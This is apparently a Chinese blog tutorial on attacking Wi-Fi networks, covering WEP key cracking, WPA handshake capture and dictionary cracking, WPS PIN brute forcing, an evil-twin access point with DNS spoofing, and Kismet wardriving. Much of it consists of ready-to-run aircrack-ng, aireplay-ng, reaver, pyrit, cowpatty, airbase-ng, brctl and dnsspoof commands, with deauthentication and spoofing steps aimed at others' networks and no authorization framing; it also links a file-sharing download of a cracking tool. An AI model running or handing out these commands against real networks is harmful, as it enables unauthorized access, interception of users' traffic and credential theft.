zoukankan      html  css  js  c++  java
  • 无线攻击

    open无加密网络

    • 无任何加密机制
    • 所有数据都可以被嗅探到
    • STA和AP只协商拼配参数即可连入网络

    无线如何不加任何加密机制的话,安全性太差。即使不对你进行嗅探也可以对你进行中间人攻击、地址欺骗等方式

    无线安全根源

    • 802.11是基于无线电波发射信息
    • 嗅探侦听是主要问题
    • 加密机制是必要手段

    Wired Equivalent Privacy(WEP):有线等效加密 802.11标准的一部分,发布后不久被发现存在安全漏洞

    WIFI Protected Access(WPA)取代WEP:802.11i标准

    1、WEP攻击

    wep是共享密钥的wlan加密方式,这种加密机制及密码算法上面是存在先天的漏洞和问题的;比较容易破解,安全性不高,简直就可以说彻底不安全!现在几乎已经被WPA的加密方式取代。但还是了解一下啊

    使用RC4对称加密算法(加解密用一个密钥)加密流量内容、CRC32算法检查数据的完整性。

    标准采用使用24位initialization vector(IV起始向量)

    • 加密:对明文流和密钥流记性XOR(二进制异或)计算
    • 解密:对密文流和密钥流进行XOR计算

     RC4算法加密流程:

     24位IV值随机数+无线密码结合利用KSA算法生成一个初始的状态表、再通过PRGA算法生成一个密钥流;数据流是由数据和完整校验算法CRC32生成ICV(起始check value),数据流与密钥流一位对一位,然后异或运算生成密文消息 ,加上IV和keyid 包头信息。

    RC4解密流程:

     从包中直接拿到IV值,根据key id提取key内容组合用KSA和PRDA算法生成密钥流,再和密文流取异或生成原数据,再生成CRC32校验。

    wep共享密钥破解

    • IV并非完全随机
    • 每224个包可能会出现一次IV重用
    • 收集大量IV之后找出相同IV及其对应密文,比对分析得出共享密码

    因为ARP回包中包含IV,所以IV足够多的情况下,任何复杂程度的wep密码都可以被破解

    监听抓到加密前的明文chellege和这个明文加密后的密文 ,有这两个东西就可以进行二进制亦或计算,得到密钥流(xor),当然这个密钥流是以密文存在,有这个就可以与AP建立关联。

    只有建立关联才能进行收集ARP注入。

    -攻击:

    -抓包--
    
    airodump-ng -c 11 --bssid AP_MAC wlan0mon -w CMCC-free
    抓的IVZ值在#date显示
    
    --主动抓包:打断--适用于有有效客户端在线的情况
    
    假如都已连接无新的连接,就打断现有连接(Deauthentication),重连时窃取
    aireplay -0 10 -a AP_MAC -c Client_MAC wlan0mon
    
    -0:Deauthentication
    10:打断数目,当为0时则冲突攻击,迫使客户端不断下线
    -c:后接指定客户端MAC,不设置默认AP所有客户端打掉
    每攻击发送128个包,64个给AP,64个给客户端
    --伪造身份认证进行关联--适用于无有效客户端在线 areplay-ng -1 60 -e CMCC-FREE -y wep-01-EC-ER-FF-2E-3F.xor -a EC:DE:23:4R:5T:12 -h 1Q:2W:3E:4R:4T:1D wlan0mon -1:第一种攻击方式 60:是每60秒攻击一次 -e:目标AP -y:密钥流(用以产生关联) -a:AP的MAC地址 -h:黑客的mac地址 --执行ARP重放-- aireplay-ng -3 -b AP_MAC -h hacker_mac wlan0mon 此处也可打断,出arp 要等#Date至少10万20万 (大概10分钟),一边抓一遍分析尝试破解
    64bit密钥:25万
    128bit密钥:150万
    --尝试解密-- aircrack-ng CMCC-FREE-01.cap 很快就得到结果~

    -1攻击

        之前我一直也没弄明白为什么能够进行伪连接,既然我们并不知道WEP密码,那么如何进行连接?伪连接的伪主要体现在什么地方?这个应该是和AP的工作机制有关.我自己的理解是,在客户端与AP通信的时候,客户端需要在AP那里登记自己的MAC地址,这样AP才会接受这个MAC地址的网卡产生的数据包进行下一步的工作.一般WEP验证过程为:

            1.客户端发给AP认证请求

            2.AP发回挑战字串

            3.客户端利用WEP密码加密字串返回给AP

            4.AP对返回结果进行本地匹配判断是否通过认证. 伪连接实际上就是进行了第1步,此后AP就登记了客户端的MAC地址,此时AP等待的是客户端返回挑战字串的加密包,对于攻击者,此时AP已经能够接受各种伪装生成的数据包并对其作出反应了.这一步对于无客户端的-2,-4,-5攻击相当重要.很明显,这样伪连接并不产生任何ARP包,同时也不会获得正确的WPA/WPA2握手包.

    注意事项:

    WPAWPA2 不支持 Fake authentication

     二、WPA攻击

    WiFi-Protected Access

    802.11i组为提高无线安全,开发了两个新的链路层加密协议:

    • Temporal Key Integrity Protocol(TKIP)----wpa1(较之wep可动态改变密钥)
    • Counter Mode with CBC-MAC(CCMP---wpa2

    WPA加密两种安全类型

    • WPA个人:使用预设共享密钥实现身份验证
    • WPA2企业:使用802.1x和Radius服务器实现AAA

    不是说算法强大就使用弱密码。

    WPA1与WPA2比较

     

    #Temporal Key Integrity Protocol (TKIP) 4

    #Counter Mode with CBC-MAC (CCMP) 5

     密钥交换:

    无线网路设计用于一组无线设备通信

    • 关联到同一AP的设备共享无线信道
    • 单播、广播、组播
      • 安全特性要求不同
      • 单播通信需要单独密钥加密通信双方流量:pairwise key-对偶密钥(PTK)
      • 组播通信需要信任域内所有成员共享的同一密钥:Group key-组密钥(GTK)

     只有一种密码破解的方法:wpa不存在wep的弱点

    • CPUGPU资源
    • 时间
    • 字典质量
      • 网上共享的
      • 泄露密码
      • 区号、手机号段、生日、百家姓、名人
      • 工具自制字典

    PSK破解过程

    1. 启动monitor
    2. 开始抓包并保存
    3. Deauthentication 攻击获取4步握手信息
    4. 使用字典暴力破解
     #抓包
    airodump-ng -c 11 --bssid AP_MAC wlan0mon -w CMCC-free
    
    #打断重连
    aireplay -0 2 -a AP_MAC -c Client_MAC wlan0mon
    
    #跑包
    aircrack-ng -w /user/share/wordlists/zidian.txt CMCC-free.cap

     重中之中-关键就是跑包就是看字典强不强大~

    几种其他字典破解工具自行参考:

    • airolib
    • JTR
    • cowpatty
    • pyrit

    cowpatty破解密码

    使用密码字典(普通)cowpatty -r wpa.cap -f password.lst -s kifi

    使用彩虹表(PMK)

    • genpmk -f password.lst -d pmkhash(名称随意) -s kifi
    • cowpatty -r wpa.cap -d pmkhash -s kifi

    所以这个优势在于基于AP名先生成hash,再用cowpatty破解速度极快了,适用于不该AP名老更换密码的wifi密码破解。

    Pyrit破解密码

    与airolib、cowpatty相同,支持基于预计算的PMK提高破解速度

    独有优势:

    • 出CPU还可利用GPU算法加速生成PMK
    • 本身支持抓包,无需airodump抓包
    • 也支持传统的读取airodump抓包获取四步握手的方式

    只抓取wpa四次握手过程包

    • pyrit -r wlan0mon -o wpapyrit.cap stripLive
    • pyrit -r wpapyrit.cap analyze

    从airodump抓包导入并筛选

    • pyrit -r wpa.cap -o wpaprit.cap strip

    使用密码字典直接破解:

    • pyrit -r wpapyrit.cap -i password.lst -b <AP MAC> attack passthrough

    数据库模式破解:

    • 默认使用基于文件的数据库,支持连接SQL,将计算的PMK存入数据库
    • 查看默认数据库状态:pyrit eval
    • 导入密码字典:pyrit -i password.lst import passwords (剔除了不合格的密码)
    • 指定ESSID:pyrit -e kifi create essid
    • 计算PMK: pyrit batch  (发挥GPU计算能力)
    • 破解密码: pyrit -r wpaprit.cap -b <AP MAC> attack.db

    还可以拷贝到WINDOWS下使用EWSA:

    传送门:软件云盘链接:https://pan.baidu.com/s/1_If_fkefIIVzfncLP5kU8Q
    提取码:u7hg

     还有一种攻击场景是【无AP情况下的WPA密码破解】

     伪造一个AP,  pmk=essid+PSK,只用4步握手中的前两步就行!

    有些鸡肋,还要跟踪人家到真实的物理环境去。

    airbase-ng 可用你的无线网卡创造一个AP出来

    
    
    airbase-ng --essid KFC -c 11 wlan0mon       #open
    
    airbase-ng --essid KFC -c 11 -w key wlan0mon     #wep
    airbase-ng --essid KFC -c 11 -z 2 wlan0mon       #wpa1
    airbase-ng --essid KFC -c 11 -Z 4 wlan0mon    #wpa2
    
    

    这样会在你的系统生成一个at0的网卡

    三、WPS攻击

     wps(wireless protected setup)

    • 是WIFI联盟2006年开发的一项技术
      • 通过PIN码来简化无线接入操作,无需记住PSK
      • 路由器和网卡各按一个按钮就能接入无线
      • PIN码是分为前后各4位的2段共8位数字
    • 安全漏洞
      • 2011年被发现安全漏洞
      • 接入发起方可以根据路由器的返回信息判断前4位是否正确
      • 而PIN码的后4位只有1000种定义的组合(最后一位是检验值checksum)
      • 所以全部穷举破解只需要11000次尝试(15~20个小时)
      • 标准本身没有设计锁定机制,目前多个厂商已实现锁定机制

     只要你的路由器支持WPS,即使没有客户端在使用这个wps,攻击者也可以利用pin出来。

    本来旨在提高安全和便利性,反而降低了安全成了大的隐患。

    拿到PIN-->PSK 就是一操作很快就出来。

    早期的PIN码更弱智,有的路由器厂商直接用网卡MAC前6位转换为16进制就是PIN码.....(如C83A350B00C),现在已经没了。

    攻击过程:

    #启动侦听后扫描带WPS功能的AP:
    
    wash -C -i wlan0mon
    airodump-ng wlan0mon --wps
    
    #爆破PIN码
    
    reaver -i wlan0mon -b <AP mac> -c <channel> -vv
    
    
    #秒破PIN码
    reaver -i wlan0mon -b <AP mac> -vv -K 1
    pixiewps
    只适用于固定厂商的芯片,成功率极低
    
    #当出来PIN码以后...
    
    reaver -i wlan0mon -b <AP mac> -vv -p 12345678

    #注意 现在几乎带WPS的厂商都实现了锁定机制,所有在穷举PIN码时应注意限速,所以-reaver会10次一停。

    #牛刀小试-综合自动化无线密码破解工具 wifite

     四、伪造双胞胎AP

     

     攻击流程:

     #伪造假AP
    airbase-ng -a <AP mac可选> -c 11 --essid KFC-FREE wlan0mon
    
    #此时ifconfig -a 会发现多了一个网卡 at0
    #设置网桥,ip地址要给网桥
    apt-get install bridge-utils
    
    brctl addbr bridge      //delbr
    brctl addif bridge eth0
    brctl addif bridge at0
    ifconfig eth0 0.0.0.0 up
    ifconfig at0 0.0.0.0 up
    ifconfig bridge 192.168.1.10 up
    
    #增加路由,或者配置个DHCP服务
    netstat -nr route add -net 0.0.0.0 netmask 0.0.0.0 gw 192.168.1.1
    #启动ip转发
    echo 1 > /proc/sys/net/ipv4/ip_forward

    #dns欺骗
    dnsspoof -i bridge -f dnsspoof.hosts
      192.168.1.10  *.microsoft.com(欺骗网址)

    #开启apache服务

    apache2ctl start

     五、无线侦查-kismet

    一个集成化的探测周围AP并尝试破解并标记在谷歌地图上的工具。

    (开发者已停止更新维护)

    •  KISmet
    • kismet*.nettxt
    kismet*.pcapdump
    gpsd -n -N -D4 /dev/ttyUSB0
    giskismet -x Kismet-*.netxml
    giskismet -q "select * from wireless" -o gps.kml

    需要购买一个USB无线模块

    安装谷歌地球:

    http://dl.goole.com/dl/earth/client/current/google-earth-stable_current_amd64.deb
    dpkg -i google-earth64.deb
    apt-get -f install

    导入kml文件就可。

     

    为美好的生活奋斗!
  • 相关阅读:
    CodeForces 7B
    CodeForces 4D
    离散化
    线段树入门
    洛谷 P3951 小凯的疑惑(赛瓦维斯特定理)
    Codeforces 1295D Same GCDs (欧拉函数)
    Codeforces 1295C Obtain The String (二分)
    Codeforces 1295B Infinite Prefixes
    Codeforces 1295A Display The Number(思维)
    Codeforces 1294F Three Paths on a Tree(树的直径,思维)
  • 原文地址:https://www.cnblogs.com/ethtool/p/12195377.html
Copyright © 2011-2022 走看看